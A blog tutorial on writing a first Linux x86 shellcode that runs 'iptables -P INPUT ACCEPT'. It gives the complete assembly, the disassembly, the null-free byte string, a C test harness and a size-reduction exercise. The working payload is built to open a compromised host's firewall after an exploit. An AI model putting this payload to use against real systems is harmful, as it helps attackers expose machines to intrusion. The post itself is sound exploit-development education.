Writing my first shellcode - iptables -P INPUT ACCEPT
I've recently started to look into basic application security concepts using the imho excellent material from OpenSecurityTraining.info. In this blogpost I'd like to share my first piece of shellcode executing iptables -P INPUT ACCEPT
.
Background
After practically learning how to exploit a simple stackoverflow I wanted to see if I could write my own shellcode. I somehow came across the shellcode repository at shell-storm.org and wanted to develop something that wasn't already in there and is somehow useful.
There are multiple entries which execute iptables -F
. However, as far as I know, this only flushes all rules from all tables, but doesn't change the default policies. So it may drop all rules, but if a server's default policy is DROP
you'll cut the machine off the internet. Mission failed.
My idea was to write a piece of shellcode that would change the default policy of the INPUT
chain to ACCEPT
, i.e. run iptables -P INPUT ACCEPT
.
Writing shellcode
First of all, I'd like to say that I'm not an 1337 sh3llc0d3 3Xp3rt. I read about some basics and tried to understand other people's shellcode and their tricks. So feedback is very welcome! Simply leave a comment or send me an e-mail.
The goal is to run /sbin/iptables -P INPUT ACCEPT
. At this point we assume that the exploited application has enough privileges to execute this command. Otherwise you might want to add some setuid(0)
code or so.
execve
is a common choice if you want to execute foreign binaries with specific parameters. man 3 execve
gives us some more information:
int execve(const char *path, char *const argv[], char *const envp[]);
[...]
The argv and environ arrays are each terminated by a null pointer.
[...]
The argument argv is an array of character pointers to null-terminated strings. The application shall ensure that the last member of this array is a null pointer. These strings shall constitute the argument list available to the new process image. The value in argv[0] should point to a filename string that is associated with the process being started by one of the exec functions.
The argument envp is an array of character pointers to null-terminated strings. These strings shall constitute the environment for the new process image. The envp array is terminated by a null pointer.
That means that we want to write shellcode that represents
execve('/sbin/iptables', ['/sbin/iptables', '-P', 'INPUT', 'ACCEPT'], NULL)
We don't need the envp
variable and thus pass a NULL
pointer.
Now that we have an idea what to do, we can start with our assembly code. The shellcode.asm
starts with two definitions:
section .text
defines the code section.global _start
defines the entry point of our application.
Both isn't really necessary for the shellcode itself, but will help us to compile, link and execute (read: test) our shellcode later.
;Runs /sbin/iptables -P INPUT ACCEPT
section .text
global _start
_start:
The next step is to think of a way to assemble our arguments to execve
on the stack:
/sbin/iptables
-P
INPUT
ACCEPT
We'll build the strings dynamically on the stack because using static strings (e.g. in a .data
section) would require hardcoded addresses in our shellcode and that might break most exploits.
So the first thing we need is a NULL
byte to terminate the string. The easiest way to get 0
into a register is xor
, because a ^ a = 0
:
xor edx, edx ; edx = 0
We use the edx
register for our NULL
byte, because we can reuse it as the NULL
pointer for the third argument ( envp
) of execve
.
Let's continue to build /sbin/iptables
on the stack:
push edx ; /sbin///iptables
push 0x73656c62 ; selb
push 0x61747069 ; atpi
push 0x2f2f2f6e ; ///n
push 0x6962732f ; ibs/
mov ebx, esp
An attentive reader may have noticed the additional /
in the /sbin///iptables
string. That's because we have to take care of nullbytes in the shellcode. More about that later. Linux ignores consecutive slashes in paths and treats them as one.
As we know, the stack grows top-down, but execve
will read it bottom-up. That's why we push the NULL
-byte ( edx
) first and the string needs to be reversed. A simple python function will help us:
def stack_str(s):
rev = s[::-1]
return rev.encode('hex')
>>> stack_str('/sbin///iptables')
'73656c62617470692f2f2f6e6962732f'
This hex string can be splitted into 4-byte blocks (8 hex characters) and then pushed on the stack. As a last step we save a pointer to the first argument in ebx
by copying the current address of esp
. We use ebx
because the path to the executable is the second argument to execve
.
We repeat this step for all arguments. However, we need one more trick for arguments that can't be aligned to a multiple of four. This is the case for the -P
argument:
>>> len('-P') % 4
2
>>> stack_str('-P')
'502d'
The problem with not-4-byte-aligned values is that the compiler will fill the remaining bytes with zeroes:
$> rasm2 -a x86 -b 32 'push 0x502d'
682d500000
68 2d 50 00 00 push $0x502d
Nullbytes ( 0x0
) or newlines ( 0xa
) usually work as strings terminators in C and thus can't be used in the shellcode without breaking it.
That's why we don't want to use push 0x502d
, but a minor workaround to write 0x502d
into eax
before pushing it. We append four arbitrary hex values (e.g. 0xffff
, 2 bytes) to our hex encoded string and move it into eax
:
mov eax, 0x502dffff
followed by a right shift of 0x10
(16 bits, 2 bytes) to get rid of the additional ffff
:
shr eax, 0x10
We can check if everything is correct with:
>>> hex(0x502dfff >> 0x10)
'0x502'
and
$> rasm2 -a x86 -b 32 'mov eax, 0x502dffff;shr eax, 0x10'
b8ffff2d50c1e810
Now we can push the correct value without breaking our shellcode!
Let's put the second block together:
push edx ; -P
mov eax, 0x502dffff
shr eax, 0x10
push eax
mov eax, esp
This time we save the address to -P
( esp
) in eax
.
The last two arguments ( INPUT
, ACCEPT
) follow a similar procedure:
push edx ; INPUT
mov ecx, 0x54ffffff
shr ecx, 0x18
push ecx
push 0x55504e49
mov ecx, esp
push edx ; ACCEPT
mov esi, 0x5450ffff
shr esi, 0x10
push esi
push 0x45434341
mov esi, esp
The address for INPUT
is in ecx
and ACCEPT
can be reached with esi
.
At this point most of the hard work is done, so let's see what we've got so far:
NULL
-byte inedx
(3rd argument ofexecve
)eax
points to-P
(1st argument ofiptables
)ebx
points to/sbin///iptables
(1st argument ofexecve
)ecx
points toINPUT
(2nd argument ofiptables
)esi
points toACCEPT
(3rd argument ofiptables
)
That's everything we need to build our NULL
-terminated argv
array. We simply push the addresses in the correct order onto the stack:
push edx ; 0
push esi ; ACCEPT
push ecx ; INPUT
push eax ; -P
push ebx ; /sbin/iptables
mov ecx, esp
As we don't need the reference to INPUT
anymore, we can overwrite ecx
with the address to the argv
array, because that will be the second argument of execve
The final step is to issue the execve
syscall with the following parameters:
eax
: Syscall-IDebx
: Address to/sbin///iptables
ecx
: Address to theargv
arrayedx
:NULL
-pointer for theenvp
push 0xb ; execve('/sbin///iptables', ['/sbin///iptables', '-P', 'INPUT', 'ACCEPT'], NULL)
pop eax
int 0x80
In the above block we use a combination of push
and pop
to avoid NULL
bytes in our shellcode by clearing the higher bits of the eax
register and placing the 0xb
( execve
) syscall-ID into it at the same time.
You can find the appropiate syscall-ID in the /usr/include/asm/unistd_32.h
header file:
$> grep execve /usr/include/asm/unistd_32.h
#define __NR_execve 11
Here's the the full shellcode so far:
section .text
global _start
_start:
xor edx, edx ; edx = 0
push edx ; /sbin///iptables
push 0x73656c62
push 0x61747069
push 0x2f2f2f6e
push 0x6962732f
mov ebx, esp
push edx ; -P
mov eax, 0x502dffff
shr eax, 0x10
push eax
mov eax, esp
push edx ; INPUT
mov ecx, 0x54ffffff
shr ecx, 0x18
push ecx
push 0x55504e49
mov ecx, esp
push edx ; ACCEPT
mov esi, 0x5450ffff
shr esi, 0x10
push esi
push 0x45434341
mov esi, esp
push edx ; 0
push esi ; ACCEPT
push ecx ; INPUT
push eax ; -P
push ebx ; /sbin/iptables
mov ecx, esp
push 0xb ; execve('/sbin///iptables', ['/sbin///iptables', '-P', 'INPUT', 'ACCEPT'], NULL)
pop eax
int 0x80
We can add some more instructions at the bottom to cleanly exit the test program:
;exit(0)
mov al,1 ; exit
xor ebx, ebx ; 0
int 0x80
Testing the shellcode
If we did everyhting right, we should be able to compile and run our assembly program:
$> nasm -f elf shellcode.asm
$> ld -m elf_i386 -s -o shellcode shellcode.o
I'm running a 64-bit linux and want to compile x86 assembly, and that's why I have to set -m elf_i386
switch.
We can then use objdump -d shellcode
to verify that our shellcode does not contain any string terminators:
shellcode: file format elf32-i386
Disassembly of section .text:
08048060 <.text>:
8048060: 31 d2 xor %edx,%edx
8048062: 52 push %edx
8048063: 68 62 6c 65 73 push $0x73656c62
8048068: 68 69 70 74 61 push $0x61747069
804806d: 68 6e 2f 2f 2f push $0x2f2f2f6e
8048072: 68 2f 73 62 69 push $0x6962732f
8048077: 89 e3 mov %esp,%ebx
8048079: 52 push %edx
804807a: b8 ff ff 2d 50 mov $0x502dffff,%eax
804807f: c1 e8 10 shr $0x10,%eax
8048082: 50 push %eax
8048083: 89 e0 mov %esp,%eax
8048085: 52 push %edx
8048086: b9 ff ff ff 54 mov $0x54ffffff,%ecx
804808b: c1 e9 18 shr $0x18,%ecx
804808e: 51 push %ecx
804808f: 68 49 4e 50 55 push $0x55504e49
8048094: 89 e1 mov %esp,%ecx
8048096: 52 push %edx
8048097: be ff ff 50 54 mov $0x5450ffff,%esi
804809c: c1 ee 10 shr $0x10,%esi
804809f: 56 push %esi
80480a0: 68 41 43 43 45 push $0x45434341
80480a5: 89 e6 mov %esp,%esi
80480a7: 52 push %edx
80480a8: 56 push %esi
80480a9: 51 push %ecx
80480aa: 50 push %eax
80480ab: 53 push %ebx
80480ac: 89 e1 mov %esp,%ecx
80480ae: 6a 0b push $0xb
80480b0: 58 pop %eax
80480b1: cd 80 int $0x80
80480b3: b0 01 mov $0x1,%al
80480b5: 31 db xor %ebx,%ebx
80480b7: cd 80 int $0x80
If you're brave enough, you can execute the compiled binary:
$> sudo iptables -L -vn
Chain INPUT (policy DROP 0 packets, 0 bytes)
$> sudo shellcode
$> sudo iptables -L -vn
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
A quick google search for "objdump to shellcode" leads to a nice commandlinefu trick which helps us to transform the instructions into an usable representation:
(Tipp: Remove the 'exit' assembly code and recompile the binary before doing this)
$> for i in `objdump -d shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\xb8\xff\xff\x2d\x50\xc1\xe8\x10\x50\x89\xe0\x52\xb9\xff\xff\xff\x54\xc1\xe9\x18\x51\x68\x49\x4e\x50\x55\x89\xe1\x52\xbe\xff\xff\x50\x54\xc1\xee\x10\x56\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80
Counting bytes
Usually one doesn't have a lot of space for a payload, so shrinking the shellcode to the smallest possible amount of bytes is desired. Our current version is 83 bytes long:
>>> len("\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\xb8\xff\xff\x2d\x50\xc1\xe8\x10\x50\x89\xe0\x52\xb9\xff\xff\xff\x54\xc1\xe9\x18\x51\x68\x49\x4e\x50\x55\x89\xe1\x52\xbe\xff\xff\x50\x54\xc1\xee\x10\x56\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80")
83
So let's see if we can optimize our shellcode somewhere. With my limited knowledge we can optimize the push instructions for all "uneven" parameters -P
, INPUT
and ACCEPT
by splitting it up in 4-byte blocks and then using push word
or push byte
to push the rest:
push edx
push word 0x502d ; -P
mov eax, esp
push edx ; INPUT
push byte 0x54
push 0x55504e49
mov ecx, esp
push edx ; ACCEPT
push word 0x5450
push 0x45434341
mov esi, esp
Note that push byte
nor push word
seem to be a valid mnemonics in x86, but nasm seems to understand what we want to do.
The resulting shellcode is a bit shorter and still doesn't contain any nullbytes:
66 68 2d 50 pushw $0x502d
6a 54 push $0x54
66 68 50 54 pushw $0x5450
The resulting shellcode is 17 bytes shorter:
>>> len("\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\x66\x68\x2d\x50\x89\xe0\x52\x6a\x54\x68\x49\x4e\x50\x55\x89\xe1\x52\x66\x68\x50\x54\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80")
66
A common way to share shellcode is putting it into a small c programm:
/*
Title: Linux/x86 - execve("/sbin/iptables", ["/sbin/iptables", "-P", "INPUT", "ACCEPT"], NULL) - 66 bytes
Author: @gehaxelt <hi[at]gehaxelt[dot]in>
Date: Sa 28. Mai 13:00:37 CET 2016
Source Code (NASM):
global _start
_start:
xor edx, edx ; edx = 0
push edx ; /sbin///iptables
push 0x73656c62
push 0x61747069
push 0x2f2f2f6e
push 0x6962732f
mov ebx, esp
push edx
push word 0x502d ; -P
mov eax, esp
push edx ; INPUT
push byte 0x54
push 0x55504e49
mov ecx, esp
push edx ; ACCEPT
push word 0x5450
push 0x45434341
mov esi, esp
push edx ; 0
push esi ; ACCEPT
push ecx ; INPUT
push eax ; -P
push ebx ; /sbin/iptables
mov ecx, esp
push 0xb ; execve('/sbin///iptables', ['/sbin///iptables', '-P', 'INPUT', 'ACCEPT'], NULL)
pop eax
int 0x80
*/
#include <stdio.h>
char shellcode[] = "\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e"
"\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\x66\x68\x2d\x50"
"\x89\xe0\x52\x6a\x54\x68\x49\x4e\x50\x55\x89\xe1\x52\x66\x68"
"\x50\x54\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89"
"\xe1\x6a\x0b\x58\xcd\x80";
int main()
{
printf("Length: %d bytes.\n", strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
Compile it with
$> gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c
Conclusion
Writing shellcode is a bit easier than I thought, although I think that reducing a shellcode's length is the real (and fun) challenge. I also hope that I didn't make any mistakes above and that the result is usable in some way.
Code golfing
Do you know other tricks to shorten the shellcode? The attentive reader should find at least one more way to shorten the shellcode.
Send me an email to shellcode [4t] 0day.work or tweet @0daywork with your version.
Ranking
- 31.05.2016: Squd: 65 bytes
-=-